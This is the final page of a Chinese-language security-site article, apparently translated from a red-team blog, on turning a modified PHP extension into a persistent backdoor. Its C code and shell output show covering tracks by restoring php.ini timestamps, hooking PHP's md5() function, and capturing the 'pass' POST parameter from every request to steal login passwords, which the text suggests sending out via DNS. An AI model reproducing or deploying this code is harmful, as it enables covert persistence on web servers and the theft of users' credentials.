欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

修改PHP扩展作为持久后门

来源:本站整理 作者:佚名 时间:2018-08-08 TAG: 我要投稿
    check = modifyExtension(0);
    utime(PHPINI, &new_time);
    return SUCCESS;
}
0×03 第三步
我们现在知道如何留下最小的tracks,并在Tarlogic博客的帖子中解释了如何与我们的后门进行通信并通过HTTP标头触发操作,所以让我们开始更有趣的事情,比如hooking。作为ReadTeamers,我们渴望获得进行横向运动的凭据。如果我们可以在常见的函数中放置一个hook(比如那些用于哈希密码或用于在数据库中插入新用户的函数),我们可以通过DNS解析索引的关键信息(如本文)。作为一个简单的PoC,我们将挂钩PHP函数md5()。让我们潜入PHP内部深处!函数符号表作为 HashTable存储在结构zend_compiler er_globals中:
struct _zend_compiler_globals {
    zend_stack loop_var_stack;
    zend_class_entry active_class_entry;
    zend_string compiled_filename;
    int zend_lineno;
    zend_op_array active_op_array;
    HashTable function_table;  / function symbol table /
...
我我们可以通过CG(编译器全局)宏访问`function_table`成员,并搜索函数的地址.由于它是一个HashTable,我们可以使用zend_hash_str_find_ptr来搜索密钥“md5”。最后,我们只需要修改处理程序(指向函数的地址),使其指向我们的hook。像这样:
//Placed at MINIT
    ...
    zend_function *orig;
    orig = zend_hash_str_find_ptr(CG(function_table), "md5", strlen("md5"));
    orig->internal_function.handler = zif_md5_hook;
    ...
检查原始的md5功能代码:
PHP_NAMED_FUNCTION(php_if_md5)
{
    zend_string *arg;
    zend_bool raw_output = 0;
    PHP_MD5_CTX context;
    unsigned char digest[16];
    ZEND_PARSE_PARAMETERS_START(1, 2)
        Z_PARAM_STR(arg)
        Z_PARAM_OPTIONAL
        Z_PARAM_BOOL(raw_output)
ZEND_PARSE_PARAMETERS_END();
...
要首先创建我们的hook,我们需要使用正确的数据类型和args来定义它。在官方文档中显示`PHP_NAMED_FUNCTION`(无论如何)扩展为`void zif_whatever(INTERNAL_FUNCTION_PARAMETERS)`。所以我们的hook必须像这样创建:
// Test Hook md5
void zif_md5_hook(INTERNAL_FUNCTION_PARAMETERS) {
    php_printf("[+] Hook called\n");
    zend_string *arg;
    zend_bool raw_output = 0;
    ZEND_PARSE_PARAMETERS_START(1, 2)
        Z_PARAM_STR(arg)
        Z_PARAM_OPTIONAL
        Z_PARAM_BOOL(raw_output)
    ZEND_PARSE_PARAMETERS_END();
    php_printf("[+] MD5 Called with parameter: %s", ZSTR_VAL(arg));
}
编译并执行:
mothra@arcadia:~/php-7.2.8/ext/Allocer|
⇒  sudo /usr/local/bin/php  -r "echo md5('kk');"
[+] LOADED
[+] PHP.INI edited
[+] Hook called
[+] MD5 Called with parameter: kk%
0×04嗅探参数
连接juicy函数是获取信息的一种很好的方式,但如果我们知道通过POST或GET发送的参数(例如登录表单)存在,那么捕获这些值要好得多。我们将把代码放在`RINIT hook`中,因为每次处理请求时都会执行它。为了检索信息,我们需要在php_variables.c上检查PHP引擎的工作方式:
...
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_POST]);
ZVAL_COPY_VALUE(&PG(http_globals)[TRACK_VARS_POST], &array);
...
因此变量被视为来自`http_globals`的数组。搜索特定值的最简单方法(例如我们希望对登录表单中发送的`“pass”`参数进行说明)是从数组中获取HashTable,然后使用API​​进行搜索,就像我们之前搜索的那样md5功能。我们这样做的魔法函数是HASH_OF:
    zval password;
    zval post_arr;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }
如果我们测试它:
mothra@arcadia:~/php-7.2.8/ext/Allocer|
⇒  curl localhost:8888/k.php --data "pass=s0S3cur3"
Password: s0S3cur3
现在,这个密码可以保存在文件中,或者只是通过DNS发送给我们所拥有的DNS服务器。
0×05 最后的话
PHP扩展是一种强大的方法,可以持久的保存在目标中,当然,这也是开始使用PHP内部的最佳借口。如果你发现这篇文章有用,或者指出我的错误,欢迎在留言栏留言!
 

上一页  [1] [2] [3] 

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载